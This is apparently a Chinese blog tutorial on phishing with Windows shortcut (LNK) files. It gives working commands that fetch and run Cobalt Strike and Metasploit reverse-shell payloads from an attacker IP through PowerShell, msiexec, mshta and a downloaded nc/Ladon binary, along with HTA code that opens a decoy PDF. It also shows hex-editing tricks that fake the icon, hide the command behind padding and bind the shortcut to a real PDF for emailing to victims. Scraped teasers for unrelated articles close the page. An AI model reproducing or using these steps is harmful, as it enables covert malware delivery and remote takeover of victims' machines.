钓鱼攻击之:Lnk 文件钓鱼
钓鱼攻击之:Lnk 文件钓鱼
1 Lnk 钓鱼小试牛刀
利用技巧:
- 修改完成后,系统会自动根据所执行的程序更改图标,此时可以通过手动更改指定图标,让文件看起来无害。
创建一个Lnk(快捷方式)文件,然后修改它的目标地址如下:
# powershell方式注入payload
# 使用CS生成web投递:http://192.168.50.2:80/a
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.50.2:80/a'))" # 系统进程msiexec.exe是Windows Installer的一部分,利用此进程来加载我们shellcode还可以达到一定的规避作用。
# 使用MSF生成payload,并提供下载:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.2 lport=4444 -f msi > shell.txt
# 利用payload
C:\Windows\System32\msiexec.exe /q /i http://192.168.50.2:8080/shell.txt
修改Lnk文件图标:推荐使用系统图标,避免当替换的图片在⽬标机器上不存在时,出现空⽩图标。可以在链接
%SystemRoot%\System32\SHELL32.dll中查找。
诱使在目标系统上打开该快捷方式,即可成功上线
2 Lnk 图标处理
010 Editor下载地址:SweetScape Software Inc - 010 Editor - Pro Text/Hex Editor | Edit 200+ Formats | Reverse Engineering
首先生成一个正常的lnk文件
选择一个系统图标,在lnk文件中的变化主要体现在:
ShellLinkHeader的LinkFlags结构体中的HasIconLocation标志位置为1;
IconIndex为使用的icon在目标中的下标;
最后是紧接在
COMMAND_LINE_ARGUMENTS后的ICON_LOCATION字段,lnk使用的icon所在的文件,本例中是%systemroot%\system32\shell32.dll。
利用010 Editor修改lnk的
icon_location标志位,修改为相关后缀,系统即可⾃动关联到对应的打开⽅式。以修改内容其修改为.\1.pdf(Unicode),其长度0x07为例:
修改后,其效果如下

要想修改lnk指向的应用程序工作在指定目录,可以在
WORKING_DIR字段进行修改,如果要去除该字段,可以设置sLinkInfo字段中的HasWorkingDir为0,并删除WORKING_DIR字段,则lnk启动的程序工作目录将在当前窗口。
3 进阶利用方式
- 当受害者中招打开我们的所谓的Lnk,实则为恶意的快捷⽅式时,双击两下,什么反应都没有,可能会有⼀丝疑惑,因此可以当尝试⽤powershell、mshta等⽅式上线时,我们可以更改如cobaltstrike⽣成的代码,加上⼀段⾃动下载打开⼀份真的文件,来达到逼真的效果。
3.1 PDF利用
生成 HTA 文件后门文件

右键编辑修改HTA文件
# 在HTA文件执行Payload前添加如下语句
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.2:8080/%E7%BA%AF%E6%B4%81%E7%9A%84pdf.pdf',$env:temp+'\纯洁的pdf.pdf');Start-Process $env:temp'\纯洁的pdf.pdf'", 0, true # 增加内容如下:
<script language="VBScript">
Function var_func()
Dim var_shell
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
Set var_shell = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.2:8080/%E7%BA%AF%E6%B4%81%E7%9A%84pdf.pdf',$env:temp+'\纯洁的pdf.pdf');Start-Process $env:temp'\纯洁的pdf.pdf'", 0, true
var_shell.run "powershell -nop -w hidden -encodedcommand ... payload", 0, true
End Function var_func
self.close
</script>
纯洁的pdf.pdf为正常的PDF文档,是双击快捷方式后打开的那个正常的文档。
生成HTA文件下载地址:
http://192.168.50.2:1080/纯洁的pdf.pdf
新建一个指向
%windir%\System32\mshta.exe的快捷方式,并更改其图标为%SystemRoot%\System32\SHELL32.dll中的一个
按照
步骤3.2将纯洁的pdf.pdf.lnk图标修改为.\1.pdf更改
纯洁的pdf.pdf.lnk参数为HTA下载地址:%windir%\System32\mshta.exe http://192.168.50.2:1080/纯洁的pdf.pdf

利用邮箱将
纯洁的pdf.pdf.lnk发送到目标用户,之后双击该LNK文件,主机便会上线,而受害者会看到一正常的PDF文档:
还可以将
纯洁的pdf.pdf.lnk与真实的PDF文档捆绑,使其文件大小看起来更具有迷惑性:copy /b 纯洁的pdf.pdf.lnk + 纯洁的pdf.pdf 纯洁的pdf.pdf2.lnk

3.2 txt利用,突破Lnk文件目标字符长度限制
完整的Payload如下:
cmd.exe /c (echo "hello" >C:\Users\Public\passwd.txt & start /b C:\Users\Public\passwd.txt) & (powershell.exe -nop -w hidden iwr -outf C:\Users\Public\nc.exe http://192.168.50.2:80/nc.exe & C:\Users\Public\nc.exe ReverseTcp 192.168.50.2 2333 nc)
- 上面这一串cmd命令的意思是把“hello"写入C:\Users\Public\password.txt,并打开这个文件,然后从外部服务器上下载nc.exe到C:\Users\Public目录下,并命名为nc.exe,最后执行"nc.exe ReverseTcp 192.168.50.2 2333 nc" 反弹shell到192.168.50.2上。
cmd /c:执行完命令后关闭命令窗口- 此处
http://192.168.50.2:80/nc.exe实为Ladon.exe
新建一个指向
%windir%\System32\cmd.exe的快捷方式,并更改其图标为%SystemRoot%\System32\SHELL32.dll中的一个使用010 Editor修改Lnk文件
- 可以看到实际上
COMMAND_LINE_ARGUMENTS的长度可以支持到16-bit大小(0xffff),修改成大于260的值。 - 然后在其后插入大于所增大字节数量(因为支持的是Unicode格式字符)的空白空间

- 可以看到实际上
重新加载Lnk文件,并重新在
COMMAND_LINE_ARGUMENTS中写入Payload/c (echo "hello" >C:\Users\Public\passwd.txt & start /b C:\Users\Public\passwd.txt) & (powershell.exe -nop -w hidden iwr -outf C:\Users\Public\nc.exe http://192.168.50.2:80/nc.exe & C:\Users\Public\nc.exe ReverseTcp 192.168.50.2 2333 nc)
- 也可以在
COMMAND_LINE_ARGUMENTS字段范围中间加大量空格,最后末尾加上恶意命令,这样限于图形窗口中的260显示大小,可以一定程度上隐藏自身。
- 也可以在
删除
COMMAND_LINE_ARGUMENTS与ICON_LOCATION之间多余的空白空间,重新加载后可得以下内容
确认图标还是与之前的一样

在靶机上验证文件:双击执行文档,成功上线,并打开了文档

4 参考资料
钓鱼攻击之:Lnk 文件钓鱼的更多相关文章
- 钓鱼攻击之远程加载恶意Word模版文件上线CS
0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...
- 使用Wifi pineapple(菠萝派)进行Wi-Fi钓鱼攻击
简介: WiFi Pineapple 是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器. 特性: 用作 Wi-Fi 中间人攻击测试平台 一整套的针对 AP 的渗透测试套件 基于 WEB ...
- pikachu练习平台(XSS-漏洞测试案例(cookie的窃取和利用、钓鱼攻击、XSS获取键盘记录))
XSS-漏洞测试案例 xss案例 1.cookie的窃取和利用 2.钓鱼攻击 3.XSS获取键盘记录 在进行案例之前首先要搭建xss后台 搭建xss后台 1.在pikachu文件夹下面,把pkxss单 ...
- CobaltStrike 生成office宏病毒进行钓鱼攻击
关于WORD宏: 在百度百科上有: 宏是一个批量处理程序命令,正确地运用它可以提高工作效率.微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力.如完打开word文 ...
- DNS欺骗:网站克隆实现网站钓鱼攻击
1 DNS 1.1 DNS是什么? 域名系统(Domain Name System)是互联网使用的命名系统,用来将主机域名转换为 ip 地址,属于应用层协议,使用 UDP 传输. 1.2 为什么需要D ...
- 支付SDK的安全问题——隐式意图可导致钓鱼攻击
该漏洞涉及到app所使用的intent和intent filter. intent是一个可用于从一个app组件请求动作或处理事件的“消息对象”.Intent负责对应用中一次操作的动作.动作涉及数据. ...
- 风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击
风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击 XSS钓鱼攻击 HTTP Basic Authentication认证 大家在登录网站的时候,大部分时候是通过一个表单提交登录信息. 但是有时候 ...
- windows中LNK文件打开方式恢复(每日一修(1))
相信有些用户曾试过错误地把LNK文件的打开方式更改其他文件,导致系统所有的快捷方式都失效.在vista与Windows7系统还不普遍使用的时候,相信大家会有点惊慌失措,不要紧,下面只要大家进行如下操作 ...
- 全部快捷方式图标变成LNK文件怎么办
windowsLNK文件打开方式恢复 相信有些用户曾试过错误地把LNK文件打开方式更改其文件导致系统所有快捷方式都失效vista与Windows7系统还普遍使用时候相信大家会有点惊慌失措要紧下面只要大 ...
- CVE-2017-8464 LNK文件(快捷方式)远程代码执行漏洞复现
北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543) ...
随机推荐
- Day30:ArrayList详解
ArrayList 1.1 集合概述 当我们要存储多个数据时,固定长度的数组存储格式已经满足不了我们的需要了,且不能满足变化的需求: Java中集合类则可以解决我们的需求 特点:提供一种存储空间可变的 ...
- 在Maven中出现javax.mail中文乱码问题解决记录
学习Java时,看廖雪峰大神文章使用了javax.mail来发送SMTP邮件.在加入中文时,发现收到的邮件里中文都是乱码. 按照一般经验,多半是编码的问题.然而在代码中,会涉及到编码的地方已经全部设置 ...
- [seaborn] seaborn学习笔记8-避免过度绘图Avoid Overplotting
8 避免过度绘图Avoid Overplotting(代码下载) 过度绘图是散点图及几天常见图表中最常见的问题之一.如下图所示当数据集很大时,散点图的点会重叠,使得图形变得不可读.在这篇文章中,提出了 ...
- [LeetCode]二进制求和
题目 代码 class Solution { public: string addBinary(string a, string b) { int lenA = a.length(); int len ...
- CF896E Welcome home, Chtholly
题面 维护一个\(n(n\leqslant 100000)\)个元素序列\(a_1,a_2,\dots,a_n\),有\(m(m\leqslant 100000)\)次操作,分为如下两种. 给定\(l ...
- 疯狂吐槽 MAUI 以及 MAUI 入坑知识点
目录 窗口 窗口管理 如何限制一次只能打开一个程序 MAUI 程序安装模式 为 MAUI Blazor 设置语言 坑 ① 坑 ② 坑 ③ 配置 MAUI 项目使用管理员权限启动 问题背景 定制编译过程 ...
- OpenMP Parallel Construct 实现原理与源码分析
OpenMP Parallel Construct 实现原理与源码分析 前言 在本篇文章当中我们将主要分析 OpenMP 当中的 parallel construct 具体时如何实现的,以及这个 co ...
- 前端必备基础知识之--------原生JS发送Ajax请求
原生JS发送Ajax请求 ajax({ type: 'POST', url: 'http://10.110.120.123:2222', // data: param, contentType: 'a ...
- ng-alain组件st表格,实现点击表格行变色,或者渲染变色
实现点击表格行变色 html文件 <st #st [data]="data" (change)="changeClick($event)" [column ...
- Java入门与进阶 P-3.5+P-3.6
计数循环 这个循环需要执行多少次? 循环停下来的时候,有没有输出到最后的0 ? 循环结束后count的值是多少 算数平方 让用户输入一系列的正整数,最后输入-1标识输入结束,然后程序计算出这些数字的平 ...